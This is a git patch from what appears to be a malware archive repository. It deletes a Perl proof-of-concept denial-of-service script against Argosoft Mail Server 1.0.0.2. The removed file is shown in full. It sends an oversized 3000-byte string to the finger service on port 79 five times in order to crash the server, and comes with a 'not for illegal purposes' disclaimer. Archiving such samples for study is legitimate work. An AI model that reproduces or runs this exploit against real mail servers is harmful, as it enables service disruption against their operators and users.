From 0a96f6a1fe98c4b1c3a426e7346d42ddb191edb0 Mon Sep 17 00:00:00 2001
From: vxunderground <57078196+vxunderground@users.noreply.github.com>
Date: Sat, 14 Nov 2020 01:18:52 -0600
Subject: [PATCH] Delete DoS.Perl.Chopsui

na
---
 Perl/DoS.Perl.Chopsui | 38 --------------------------------------
 1 file changed, 38 deletions(-)
 delete mode 100644 Perl/DoS.Perl.Chopsui

diff --git a/Perl/DoS.Perl.Chopsui b/Perl/DoS.Perl.Chopsui
deleted file mode 100644
index ecafb7e0..00000000
--- a/Perl/DoS.Perl.Chopsui
+++ /dev/null
@@ -1,38 +0,0 @@
-#
-# Argosoft Mail Server 1.0.0.2 DoS
-# Chopsui-cide[MmM] 2000
-#
-# ----------------------------------------------------------
-# Disclaimer: this file is intended as proof of concept, and
-# is not intended to be used for illegal purposes. I accept
-# no responsibility for damage incurred by the use of it.
-# ----------------------------------------------------------
-#
-# This will cause Argosoft Mail Server 1.0.0.2 to page fault if the finger
-# daemon is running.
-#
-
-use IO::Socket;
-
-$host = "tr" ;
-$port = "79";
-
-$count = 0;
-$sod = "";
-$len = 3000;
-while($count < $len) {
-        $sod .= "X";
-        $count += 1;
-}
-$sod .= "\@X";
-$count = 0;
-while($count < 5) {
-print "Connecting to $host:$port...";
-$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host, PeerPort=>$port) || die "unable to connect.\n";
-print "done.\n";
-print $socket "$sod\x0a";
-sleep(5);
-close($socket);
-$count += 1;
-}
-